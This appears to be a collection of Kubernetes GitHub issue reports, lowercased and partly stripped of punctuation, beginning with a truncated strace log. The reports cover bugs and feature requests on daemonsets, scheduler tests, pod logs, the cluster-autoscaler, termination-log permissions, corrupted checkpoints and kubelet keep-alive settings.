sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_20, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_20, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_21, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_21, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_22, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_22, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_23, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_23, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_24, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_24, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_25, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_25, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_26, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_26, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_27, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_27, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_28, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_28, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_29, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_29, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_30, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_30, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_31, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_31, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigaction sigrt_32, null, {sig_dfl,   , 0}, 8  = 0\r rt_sigaction sigrt_32, {0x45aca0, ~  , sa_restorer|sa_stack|sa_restart|sa_siginfo, 0x45ad90}, null, 8  = 0\r rt_sigprocmask sig_setmask, ~  ,   , 8  = 0\r clone child_stack=0xc420033fc0, flags=clone_vm|clone_fs|clone_files|clone_sighand|clone_thread  = 30958\r rt_sigprocmask sig_setmask,   , null, 8  = 0\r rt_sigprocmask sig_setmask, ~  ,   , 8  = 0\r clone child_stack=0xc42002ffc0, flags=clone_vm|clone_fs|clone_files|clone_sighand|clone_thread  = 30959\r rt_sigprocmask sig_setmask,   , null, 8  = 0\r futex 0x2abe870, futex_wait, 0, null    = 0\r mmap null, 262144, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de846000\r openat at_fdcwd, \ /proc/sys/net/core/somaxconn\ , o_rdonly|o_cloexec  = 3\r read 3, \ 1024\ \ , 4096                  = 5\r read 3, \ \ , 4091                        = 0\r close 3                                 = 0\r socket pf_inet, sock_stream, ipproto_tcp  = 3\r close 3                                 = 0\r socket pf_inet6, sock_stream, ipproto_tcp  = 3\r setsockopt 3, sol_ipv6, ipv6_v6only,  1 , 4  = 0\r bind 3, {sa_family=af_inet6, sin6_port=htons 0 , inet_pton af_inet6, \ ::1\ , &sin6_addr , sin6_flowinfo=0, sin6_scope_id=0}, 28  = 0\r socket pf_inet6, sock_stream, ipproto_tcp  = 4\r setsockopt 4, sol_ipv6, ipv6_v6only,  0 , 4  = 0\r bind 4, {sa_family=af_inet6, sin6_port=htons 0 , inet_pton af_inet6, \ ::ffff:127.0.0.1\ , &sin6_addr , sin6_flowinfo=0, sin6_scope_id=0}, 28  = 0\r close 4                                 = 0\r close 3                                 = 0\r getpid                                  = 30957\r openat at_fdcwd, \ /proc/sys/kernel/hostname\ , o_rdonly|o_cloexec  = 3\r read 3, \ localhost.localdomain\ \ , 512  = 22\r close 3                                 = 0\r getuid                                  = 0\r getgid                                  = 0\r futex 0xc420024510, futex_wake, 1       = 1\r futex 0x2abe870, futex_wait, 0, null    = 0\r mmap 0xc420100000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420100000\r mmap 0xc41fff0000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41fff0000\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420200000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420200000\r mmap 0xc41ffe8000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffe8000\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420300000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420300000\r mmap 0xc41ffe0000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffe0000\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420400000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420400000\r mmap 0xc41ffd8000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffd8000\r mmap 0xc000001000, 4096, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc000001000\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap null, 65536, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de836000\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap null, 1439992, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0x7fa0de6c6000\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0x2abe870, futex_wait, 0, null    = 0\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420500000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420500000\r mmap 0xc41ffd0000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffd0000\r futex 0xc4200d6110, futex_wake, 1       = 1\r getpid                                  = 30957\r stat \ /proc\ , {st_mode=s_ifdir|0555, st_size=0, ...}  = 0\r openat at_fdcwd, \ /proc/stat\ , o_rdonly|o_cloexec  = 3\r read 3, \ cpu  1385686 198 292117 186279 1\ ..., 4096  = 797\r close 3                                 = 0\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420600000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420600000\r mmap 0xc41ffc8000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffc8000\r futex 0xc4200d6110, futex_wake, 1       = 1\r mmap 0xc420700000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420700000\r mmap 0xc41ffc0000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffc0000\r mmap 0xc420800000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420800000\r mmap 0xc41ffb8000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffb8000\r mmap 0xc000002000, 4096, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc000002000\r mmap 0xc420900000, 1048576, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc420900000\r mmap 0xc41ffb0000, 32768, prot_read|prot_write, map_private|map_anonymous, -1, 0  = 0xc41ffb0000\r futex 0xc4200d6110, futex_wake, 1       = 1\r futex 0x2ade4c0, futex_wait, 0, nullerror: yaml: line 8: mapping values are not allowed in this context\r  <unfinished ...>\r +++ exited with 1 +++\r \r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r i create a daemonset object in kubernetes cluster. i can get the daemonset  by running  kubectl get ds/my-daemonset , but i could not get the daemonset resource info after running  kubectl get all .\r \r   what you expected to happen  :\r we can get the daemonset resources by running  kubectl get all , just like some other namespace based  resources e.g. rc/svc \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. kubectl create -f my-daemonset.yaml \r 2. kubeclt get all \r \r   anything else we need to know?  :\r none\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r    \r - kernel  e.g.  uname -a  :\r  linux open-paas 4.8.0-54-generic  57~16.04.1-ubuntu smp wed may 24 16:22:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r following cases will call 'createbalancedpodfornodes', which tries to create balanced load on nodes.\r -  sig-scheduling  schedulerpriorities  serial  pod should avoid to schedule to node that have avoidpod annotation\r -  sig-scheduling  schedulerpriorities  serial  pod should perfer to scheduled to nodes pod can tolerate\r \r but it will fail when some node has a cpufraction > 1.0\r \r    \r nov 30 07:21:29.662: info: computecpumemfraction for node: k8s-agentpool1-29516006-0\r nov 30 07:21:29.885: info: pod for on the node: kube-proxy-hgqx2, cpu: 100, mem: 209715200\r nov 30 07:21:29.885: info: node: k8s-agentpool1-29516006-0, totalrequestedcpuresource: 200, cpuallocatablemil: 1000, cpufraction: 0.2\r nov 30 07:21:29.885: info: node: k8s-agentpool1-29516006-0, totalrequestedmemresource: 314572800, memallocatableval: 1904271360, memfraction: 0.16519326321223463\r nov 30 07:21:29.885: info: computecpumemfraction for node: k8s-agentpool1-29516006-1\r nov 30 07:21:30.108: info: pod for on the node: heapster-6fdf944f4c-2hnp6, cpu: 138, mem: 308281344\r nov 30 07:21:30.108: info: pod for on the node: kube-dns-v20-686b99fdc9-88wbb, cpu: 210, mem: 335544320\r nov 30 07:21:30.108: info: pod for on the node: kube-dns-v20-686b99fdc9-8jbtc, cpu: 210, mem: 335544320\r nov 30 07:21:30.108: info: pod for on the node: kube-proxy-k2kpv, cpu: 100, mem: 209715200\r nov 30 07:21:30.108: info: pod for on the node: kubernetes-dashboard-6d76c96698-sdcq4, cpu: 300, mem: 157286400\r nov 30 07:21:30.108: info: pod for on the node: tiller-deploy-db7467c5f-94h4j, cpu: 50, mem: 157286400\r nov 30 07:21:30.108: info: node: k8s-agentpool1-29516006-1, totalrequestedcpuresource: 1108, cpuallocatablemil: 1000, cpufraction: 1.108\r nov 30 07:21:30.108: info: node: k8s-agentpool1-29516006-1, totalrequestedmemresource: 1608515584, memallocatableval: 1904275456, memfraction: 0.8446864023436744\r nov 30 07:21:30.566: info: waiting for running...\r nov 30 07:31:30.594: info: unexpected error occurred: error waiting for 1 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=15f965ca-d59f-11e7-8979-0242ac110004\  to be running\r    \r it tries to create a pod making agent-0 to have cpufraction of >1, but the pod won't start:\r    \r 7m\t\t7m\t\t1\tkubelet, k8s-agentpool1-29516006-0\t\t\twarning\t\toutofcpu\tnode didn't have enough resource: cpu, requested: 908, used: 100, capacity: 1000\r    \r \r then the cases will timeout and fail.\r \r   what you expected to happen  :\r the ratio should have a uplimit.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it randomly fails when some node gets high load.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r hello,\r \r   what happened  :\r \r when i show the logs of my pods, since i updated to v1.10.6  and now moved to 1.10.8 , the result hang for a while or show  failed to get parse function: unsupported log format: \ \ \ %  error message : \r \r    \r   ➜  valshuttle ~  ~$ k -n nginx-ingress logs -f nginx-ingress-03-86669d77d4-vs4wk                                                                                                                    \r failed to get parse function: unsupported log format: \ \ \ % \r \r   ➜  valshuttle ~  ~$ k -n nginx-ingress logs -f nginx-ingress-03-86669d77d4-vs4wk     -v=100                                                                                                              \r i0917 15:17:43.388834   15066 round_trippers.go:387  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.10.7  linux/amd64  kubernetes/0c38c36\  https://k8s-apic/api/v1/namespaces/nginx-ingress/pods/nginx-ingress-03-86669d77d4-vs4wk/log?follow=true\r i0917 15:17:43.417411   15066 round_trippers.go:406  get https://k8s-api/api/v1/namespaces/nginx-ingress/pods/nginx-ingress-03-86669d77d4-vs4wk/log?follow=true 200 ok in 26 milliseconds               \r i0917 15:17:43.417444   15066 round_trippers.go:412  response headers:\r i0917 15:17:43.417455   15066 round_trippers.go:415      content-type: text/plain\r i0917 15:17:43.417463   15066 round_trippers.go:415      date: mon, 17 sep 2018 04:17:43 gmt\r failed to get parse function: unsupported log format: \ \ \ %      \r    \r kubelet logs on the pod's node : \r \r    \r sep 17 15:24:10 ares.k8s.domain.tld kubelet 8116 : i0917 15:24:10.559316    8116 <autogenerated>:1  http: multiple response.writeheader calls                                                                 \r sep 17 15:24:10 ares.k8s.domain.tld kubelet 8116 : i0917 15:24:10.559378    8116 server.go:796  get /containerlogs/kube-system/calico-node-wrnvh/calico-node?follow=true:  7.89581ms  400   go-http-client/1.1   1404:ef40::105 :40214  \r    \r if i kill the pod, the logs come back with the new one, but it come after. \r \r sometime the logs stuck without any messages : \r \r    \r i0917 16:06:18.016791   11945 round_trippers.go:387  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.10.7  linux/amd64  kubernetes/0c38c36\  https://k8s-api/api/v1/namespaces/dev-api-account/pods/api-account-redis-77f7fb65bb-2hwl4/log?follow=true\r \r .... nothings after\r \r    \r if i do the curl manually and add the bearer token, the logs come directly. \r \r   what you expected to happen  :\r \r doesn't get issue to fetch logs, like does in past releases. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.8\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  : 4.9.0-8-amd64  1 smp debian 4.9.110-3+deb9u4 \r - install tools: calico / ipv6 \r - others:\r

what happened  :\r i got different and conflicting events from cluster-autoscaler when using a custom configuration on a secondary kube-scheduler running in another namespace than the default one. the cluster-autoscaler shows an event coupled with the pod that it triggered a scale up no matter what, but with the custom scheduler, i got a bunch of additional events   normal   nottriggerscaleup       6m  x25 over 11m    cluster-autoscaler   that contradicted the initial event.\r \r   with default scheduler  :\r    \r   type     reason                  age                 from                                      message\r   ----     ------                  ----                ----                                      -------\r   normal   triggeredscaleup        26m                 cluster-autoscaler                        pod triggered scale-up:  {https://content.googleapis.com/compute/v1/projects/ds-platform/zones/europe-west1-b/instancegroups/gke-floss-gpu-k80-4f5b3c32-grp 0->1  max: 2 } \r   warning  failedscheduling        22m  x72 over 27m   default-scheduler                         0/2 nodes are available: 2 insufficient nvidia.com/gpu, 2 node s  didn't match node selector.\r   normal   successfulattachvolume  17m                 attachdetach-controller                   attachvolume.attach succeeded for volume \ pvc-49f6b719-db61-11e8-b653-42010a840127\ \r    \r \r   with custom scheduler  :\r    \r   type     reason                  age                 from                                      message\r   ----     ------                  ----                ----                                      -------\r   normal   triggeredscaleup        11m                 cluster-autoscaler                        pod triggered scale-up:  {https://content.googleapis.com/compute/v1/projects/ds-platform/zones/europe-west1-b/instancegroups/gke-floss-gpu-k80-4f5b3c32-grp 1->2  max: 2 } \r   warning  failedscheduling        7m  x105 over 12m   jupyterhub-user-scheduler                 0/3 nodes are available: 1 insufficient nvidia.com/gpu, 2 node s  didn't match node selector.\r   normal   nottriggerscaleup       6m  x25 over 11m    cluster-autoscaler                        pod didn't trigger scale-up  it wouldn't fit if a new node is added \r   normal   successfulattachvolume  2m                  attachdetach-controller                   attachvolume.attach succeeded for volume \ pvc-47a6a5f8-cbde-11e8-b369-42010a840222\ \r    \r \r   what you expected to happen  :\r i expect to not see  normal   nottriggerscaleup       6m  x25 over 11m    cluster-autoscaler  after seeing the event about the pod triggering scale up, when using a custom scheduler as well as if using the default scheduler.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm sorry, but as this is quite a complicated system to reproduce involving a lot, i will not spend time reproducing this down\r 1. install the jupyterhub helm chart, see https://z2jh.jupyter.org\r 2. enable the custom scheduler with\r    yaml\r   config.yaml --- values passed to the helm chart\r scheduling:\r   userscheduler:\r     enabled: true\r    \r \r   anything else we need to know?  :\r i'm running on a managed k8s cluster on gke, version 1.11.2-gke.18 on the master and on the node-pool scaling up. the custom scheduler is a custom configured kube-scheduler of version 1.11.2.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2-gke.18 \r - cloud provider or hardware configuration: google cloud\r - os  e.g. from /etc/os-release : container optimized os\r - kernel  e.g.  uname -a  :\r - install tools: gcloud\r - others:\r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  in\r    sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new    build 2821  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2821  \r    sig-release-master-upgrade gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster    build 2127  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/2127  \r \r   which test s  are failing  :\r   sig-network  firewall rule  slow   serial  should create valid firewall rules for loadbalancer type service \r \r   since when has it been failing  :\r 2019-03-01,  test-infra:e858a8b2e  https://github.com/kubernetes/test-infra/commit/e858a8b2e \r \r  gce-new-master-upgrade-cluster-new shows  fa9347840  as the first commit for which the test failed, but  fa9347840  came after  e858a8b2e  .\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r   reason for failure  :\r    \r error waiting for firewall k8s-0db080b12d134e12-node-http-hc exist=false\r    \r \r    / /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent

i believe that many companies are facing similar problems with me, and the problem of 'clusterip' that k8s faces in the existing business is not easy to use.\r \r     clusterip is not easy to use. \r \r   first of all, the company's relatively old network infrastructure, there is no vpc product solution similar to the public cloud, resulting in relatively precious ip resources, need to be effectively managed, can not independently allocate a cidr to the apiserver serivce, and the cidr of the service may not be effectively expanded. because the original ip of the original cidr may have been allocated.\r \r   secondly, because the company used sdn to some extent to do some network-level abstraction, and the business is a physical server, so the sdn flow table is the same as the k8s kube-proxy backend on the same kernel to cause network data. face failure, data grouping has no return.\r \r   in the next, k8s provider an extension mechanism which is cni for out-of-band allocation of  pod ip  is provided to help us access pod in the existing network data plane, but currently service ip has not provided such an extension mechanism, maybe we need it.\r \r so we can consider to implement a out-bound service ip allocators\r \r  

per https://github.com/kubernetes/kubernetes/pull/20354 discussion_r51472825.  in theory, this is covered already in ci, but it'd be nice to pull it out.  we _really_ shouldn't be breaking conformance tests.

pod specs let you specify a value for  terminationmessagepath . the intent is for this to be a file that gets mounted into a container into which it  \ will write its ‘death rattle’?, such as assertion failure messages, stack traces, exceptions, and so on\   http://kubernetes.io/docs/user-guide/production-pods/ termination-message . when a container exits, any contents of the termination message file are collected  in the container's status  http://kubernetes.io/docs/api-reference/v1/definitions/ _v1_containerstateterminated  to aid in debugging. unfortunately, the permissions on the termination log are too narrow:      shellsession $ ls -l /dev/termination-log -rw-r--r--. 1 root root 0 aug 31 22:15 /dev/termination-log      if the container is not running as root, it won't have the permissions necessary to write to the termination log.    kubernetes version    use  kubectl version  : i'm using openshift origin 1.2.1, which is built on kubernetes 1.2.0, but the problem comes from upstream kubernetes and is still present.      shellsession $ oc version oc v1.2.1 kubernetes v1.2.0-36-g4a3f9c5        environment  : not really applicable, but: -   cloud provider or hardware configuration  : aws c4.4xlarge -   os    e.g. from /etc/os-release : centos 7.2.1511 -   kernel    e.g.  uname -a  :  linux  removed  3.10.0-327.28.2.el7.x86_64  1 smp wed aug 3 11:11:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux  -   install tools  :  openshift-ansible  https://github.com/openshift/openshift-ansible  -   others  : none?    what happened  :  /dev/termination-log  is only writable by root.    what you expected to happen  :  /dev/termination-log  should be writeable by the process in the container.    how to reproduce it    as minimally and precisely as possible : 1. create a pod that doesn't run as root. 2. try to write to  /dev/termination-log     anything else do we need to know  : this appears to be caused by the fact that the kubelet creates the file on the host and then doesn't modify the permissions   docker  https://github.com/kubernetes/kubernetes/blob/v1.4.0-alpha.3/pkg/kubelet/dockertools/docker_manager.go l637 ,  rkt  https://github.com/kubernetes/kubernetes/blob/v1.4.0-alpha.3/pkg/kubelet/rkt/rkt.go l724  . a simple fix would probably be to just add group write permissions to the file, as container processes are part of the root group.

while the  exec  and  logs  calls have been updated to be able to use websockets, the  port-forward  call is still stuck on spdy.  we should enable port-forward over websockets.  pr that made the original switch for exec and logs i believe is: https://github.com/kubernetes/kubernetes/pull/13885  and the work to be done should be in  pkg/kubelet/server/remotecommand   probably using  pk/util/wsstream

the reboot test may cause corrupted checkpoint left on the node. \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-reboot/5006\r \r this prevents the sandbox from being stopped properly, so kubelet cannot create a new one.\r \r    \r i0312 20:24:12.809876    2479 helpers.go:210  cannot find network namespace for the terminated container \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\ \r i0312 20:24:12.813477    2479 helpers.go:210  cannot find network namespace for the terminated container \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\ \r i0312 20:24:12.815598    2479 helpers.go:210  cannot find network namespace for the terminated container \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\ \r i0312 20:24:12.815620    2479 kubenet_linux.go:789  removing kube-system/npd-v0.3.0-alpha.1-zxnc2 from 'kubenet' with cni 'bridge' plugin and runtime: &{containerid:551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78 netns: ifname:eth0 args:  }\r e0312 20:24:12.822994    2479 docker_checkpoint.go:113  failed to unmarshal checkpoint \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\ . checkpoint content: \ \ . errmsg: unexpected end of json input\r e0312 20:24:12.824302    2479 remote_runtime.go:109  stoppodsandbox \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\  from runtime service failed: rpc error: code = 2 desc = networkplugin kubenet failed to teardown pod \ npd-v0.3.0-alpha.1-zxnc2_kube-system\  network: checkpoint is corrupted.\r e0312 20:24:12.824360    2479 kuberuntime_manager.go:780  failed to stop sandbox {\ docker\  \ 551ad02c183c9b523381c1f774adb104803ec079c8171f0fe59567760769fd78\ }\r    \r \r one option is to log and remove the corrupted checkpoint, while cleaning up the pod sandbox resources with best effort  i.e., may leak resources . another option is to  not  clean up, and force a human being to intervene and remove the corrupt checkpoint manually. the proper solution perhaps is to scan the checkpoints at startup  or periodically  and repair/remove corrupt checkpoints. \r \r /cc @freehan @thockin \r related:  42960

is this a request for help?  : no\r   what keywords did you search in kubernetes issues before filing this one?  : keep-alive kubelet\r \r ---\r   is this a bug report or feature request?    choose one : feature request for bug work-around :- \r \r see  41916 for background on the bug behavior; also  43516 and kubernetes-incubator/kube-aws 598 . in a nutshell:\r - kubelets frequently access the apiserver via an aws elb load balancer\r - elb ip addresses change over time; only the dns address is guaranteed stable with a 60s ttl\r - once removed from dns, elb ips continue to serve traffic for up to 7 days before they are terminated\r - kubelets appear to maintain persistent connections to retired elb ip addresses long after they are removed from dns\r - when the retired elb interface is finally terminated, the kubelet maintains the apiserver connection in a half-closed state up to a 900s timeout, causing all affected nodes to transition to nodenotready  see  45126 for one consequence .\r \r ---\r kubelet config options to set its client http keep-alive header would give cluster admins a cleaner mechanism to allow connections to migrate across this kind of scaling event. to set  keep-alive: timeout=60, max=100  this might look like  --apiserver-http-max-requests=100 --apiserver-http-timeout=60 .

>  \r \r the codegen script located in    staging/src/k8s.io/sample-apiserver/hack/update-codegen.sh    was updated as part of the following pr\r https://github.com/kubernetes/kubernetes/pull/48549\r this pr fixed several issues with the script but further enhancements could be made:\r \r 1  it currently only works with a single group and version. it would be better if it could be used with multiple groups and versions.\r \r 2  it uses a trap on exit to remove generated binaries. instead it should use  temp dir for these generated binaries and remove the trap on exit.\r \r @sttts ping issue for follow up to https://github.com/kubernetes/kubernetes/pull/48549\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r   what happened  :\r \r https://k8s-testgrid.appspot.com/google-gce gci-gce-ip-alias is broken since pr  56132 was merged.\r \r by looking into logs, from kube-master-configuration.log\r \r jan 25 22:45:08.439501 bootstrap-e2e-master configure-helper.sh 1265 : /home/kubernetes/bin/configure-helper.sh: line 1838: node_ipam_mode: unbound variable\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

anything else we need to know?  :\r i notice there are todos in apimachinery\\pkg\\api\\meta\\meta.go,return bool instead of error func commonaccessor, listaccessor, accessor. if is it necessary to do,i push a pr for it.\r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

